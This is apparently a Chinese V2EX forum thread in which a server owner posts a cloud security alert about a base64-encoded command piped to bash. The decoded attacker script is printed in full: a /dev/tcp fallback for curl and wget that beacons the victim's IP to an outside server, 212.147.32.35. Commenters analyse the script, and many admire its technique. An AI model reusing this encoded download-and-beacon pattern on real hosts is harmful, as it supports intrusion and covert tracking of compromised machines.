进程异常行为-可疑编码命令待处理
备注
该告警由如下引擎检测发现:
用户名: chrony
命令行: sh -c echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8JChlY2hvICR7MS8vLy8gfSkKICBET0M9LyR7cGF0aC8vIC8vfQogIEhPU1Q9JHtzZXJ2ZXIvLzoqfQogIFBPUlQ9JHtzZXJ2ZXIvLyo6fQogIFtbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCgogIGV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAogIGVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcbkhvc3Q6ICR7SE9TVH1cclxuXHJcbiIgPiYzCiAgKHdoaWxlIHJlYWQgbGluZTsgZG8KICAgW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQoKaWYgWyAteCAiJChjb21tYW5kIC12IGN1cmwpIiBdOyB0aGVuCiAgY3VybCAtbyAvZGV2L251bGwgMjEyLjE0Ny4zMi4zNS9nY2FlLzEwMS4zNy43OC4xMDgKZWxpZiBbIC14ICIkKGNvbW1hbmQgLXYgd2dldCkiIF07IHRoZW4KICB3Z2V0IC1xIC1PLSAyMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOAplbHNlCiAgX19jdXJsIGh0dHA6Ly8yMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOCA+L2Rldi9udWxsCmZpCgo= | base64 -d | bash
进程路径: /bin/dash
进程 ID: 26803
父进程文件路径: /usr/bin/perl
父进程 ID: 26798
事件说明: 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。
#!/bin/bash
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
curl -o /dev/null 212.147.32.35/gcae/101.37.78.108
elif [ -x "$(command -v wget)" ]; then
wget -q -O- 212.147.32.35/gcae/101.37.78.108
else
__curl http://212.147.32.35/gcae/101.37.78.108 >/dev/null
fi
1
janxin 2021-10-29 09:44:27 +08:00
明显被黑了...
|
3
bfdh 2021-10-29 09:52:22 +08:00
就发了一个 http 请求,其他啥都没干?
|
5
number 2021-10-29 10:13:57 +08:00 46
学到了在没有 curl 和 wget 的情况下
还可以用这种方式下载文件 |
6
makia98 2021-10-29 10:15:01 +08:00
检查一下 docker 镜像有没有问题,我有过服务器被一个 redis 镜像当肉鸡的经历
|
8
lqc09 2021-10-29 10:58:55 +08:00
你已经被干了,一般是要下载 shell 上线脚本统一管理像你这种的肉鸡
|
9
lqc09 2021-10-29 11:00:03 +08:00
gitlab 最近刚好报了一个漏洞
|
11
holinhot 2021-10-29 12:36:55 +08:00
还能 dev/tcp/ 这么玩,学到了
|
13
GrayXu 2021-10-29 13:17:14 +08:00
/dev/tcp/的一万种用法之……
|
14
mingl0280 2021-10-29 13:26:44 +08:00 via Android
/dev/tcp 还能这么用
|
16
cweijan 2021-10-29 14:18:20 +08:00
这个脚本很酷啊
|
17
jptx 2021-10-29 14:20:57 +08:00
学到了,手动建立 TCP 连接,拼接 HTTP 请求头,下载文件,赶紧记笔记。我最近每次碰到各种奇技淫巧都是从各种木马里学到的
|
18
vinle 2021-10-29 14:22:38 +08:00 4
我感觉楼主可以忽略这个东西,让入侵者继续操作,因为从脚本来,看他的操作确实有点骚有点秀了,让他玩下去说不定会有更有趣的事情发生!
|
20
villivateur 2021-10-29 14:32:45 +08:00 via Android
感觉好多系统没有 /dev/tcp 这个设备
|
21
mikywei 2021-10-29 14:33:37 +08:00
所以云厂商无时无刻不在检测着用户的数据吗?真没安全感,感觉能随时取走用户的任何文件似的。
|
22
Alexonx 2021-10-29 14:47:32 +08:00 via Android
@villivateur 这个并不是一个设备,应该是 bash 提供的 feature ,允许通过这种方式发起 socket 连接。实际上这个设备应该是不存在的.....用其他 shell 也不一定能跑
|
23
ipeony OP @vinle #18 老实说我没发现有什么影响,当然可能数据泄漏光了(然而也没啥敏感的东西),或者被拿来挖矿(也没发现这个迹象),又或者上面有人提到的拿来 CC 别人(已经被我精致访问外网了
|
24
sola97 2021-10-29 14:53:13 +08:00
这个 curl 保存了
|
25
cz5424 2021-10-29 15:02:02 +08:00
值得学习的一个 bash
|
26
FreeEx 2021-10-29 15:05:20 +08:00
收藏了,为了这个 curl 脚本
|
27
ETiV 2021-10-29 15:09:57 +08:00 via iPhone 2
非常魔性的写法,sentry docker-compose 部署方式下,健康检查就是用这种方式实现的…装个 curl 就这么难吗🤦♂️
https://github.com/getsentry/onpremise/blob/master/docker-compose.yml#L298 |
28
Radiation 2021-10-29 15:17:22 +08:00
反弹 shell 用的
|
29
maskerTUI 2021-10-29 15:26:30 +08:00
写这脚本的人是高手
|
30
zwgf 2021-10-29 15:34:35 +08:00
自己实现 curl ,这个黑阔可以
|
31
scyuns 2021-10-29 15:38:04 +08:00
学习了 跟着黑阔学技术
|
32
oser 2021-10-29 15:41:12 +08:00
有意思,学习了
|
33
wellsc 2021-10-29 15:42:53 +08:00
哈哈哈
|
34
kwanzaa 2021-10-29 16:10:07 +08:00
哈哈哈哈 学到了
|
35
labulaka521 2021-10-29 16:36:59 +08:00
为什么 linux 上没有 /dev/tcp 这个呢
|
36
labulaka521 2021-10-29 16:52:13 +08:00
@labulaka521 有
|
37
kugouo4 2021-10-29 17:02:15 +08:00
v2ex 之跟着黑客学技术,妈妈再也不用担心容器里没有 curl 和 wget 了
|
38
cxy2244186975 2021-10-29 17:31:44 +08:00
乌云幸存白帽子路过……
|
39
radishear 2021-10-29 18:01:31 +08:00
学到了
|
40
ericwood067 2021-10-29 18:02:39 +08:00 1
这个脚步并没有单独干什么,只是把你的 IP 地址 101.37.78.108 上报给了他们的服务器 http://212.147.32.35/gcae/,主要是看看有没有后续操作。
|
41
cache 2021-10-29 21:31:21 +08:00
@labulaka521 /dev/tcp 是 bash 内置的 和 linux 没关系,换 zsh 就跑不起来了
|
42
Davic1 2021-10-29 22:10:35 +08:00
@ericwood067 #40 请教一下~ 哪里可以判断出 101 那个就是楼主的 Host IP 呢?
|
43
ericwood067 2021-10-29 22:27:54 +08:00 2
@Davic1 这个脚本的作用是和主机 212.147.32.35 建立了一条 tcp 链接,然后使用 httpGet 方法访问了 /gcae/101.37.78.108 这个路径,212 主机返回的结果直接被丢进了 /dev/null 里,所以肯定不是想从 212 主机获取什么东西;/gcae 应该是 212 主机上部署的一个服务的 gateway ,所以 101 应该就是楼主的 Host Ip 。不然做这个操作就没有任何道理了。
|
44
Davic1 2021-10-29 23:20:25 +08:00
@ericwood067 #43 感谢~
|
45
zouri 2021-10-29 23:43:28 +08:00
各种奇怪的用法真是活到老学到老
|
46
pjntt 2021-10-30 00:05:44 +08:00
感觉这个是防盗版的做法吧?校验 IP 是否被授权了?
|
47
IMengXin 2021-10-30 09:32:28 +08:00
阿里云一直警告我 frps.exe ,很有可能与木马、病毒、黑客行为有关。
|
48
scukmh 2021-10-30 16:48:49 +08:00
学到了
|
49
spinecho 2021-10-30 21:01:30 +08:00
m 学到了
|
50
hukei 259 天前
核心就是 /dev/tcp
|
51
tyit 254 天前
这个脚本的作用是从指定的服务器( IP 地址为 212.147.32.35 )下载或获取一些数据。它首先尝试使用 curl 命令来获取数据,如果 curl 不可用,则尝试使用 wget 命令,最后如果 wget 也不可用,则使用自定义的__curl 函数来获取数据。
具体来说,它执行以下步骤: 定义了一个__curl 函数,用于通过 HTTP 协议从指定的服务器获取数据。这个函数会解析输入的 URL ,提取出协议、服务器地址和路径,并使用/dev/tcp 特殊文件来建立 TCP 连接到服务器,并发送 HTTP GET 请求,最后将响应内容输出到标准输出。 然后,它检查系统中是否安装了 curl 命令,如果安装了,则使用 curl 来获取数据,将数据写入到/dev/null ,即丢弃该数据,因为 curl 的输出已经被重定向到/dev/null ,所以用户不会看到输出。 如果 curl 不可用,则检查系统中是否安装了 wget 命令,如果安装了,则使用 wget 来获取数据,并将数据输出到标准输出( STDOUT )。 如果既没有 curl 也没有 wget ,则调用自定义的__curl 函数来获取数据,将数据输出到/dev/null ,同样是为了不显示数据到用户终端。 综合来说,这个脚本的目的是从指定的服务器获取数据,但是更倾向于使用 curl 或 wget 命令来实现。 |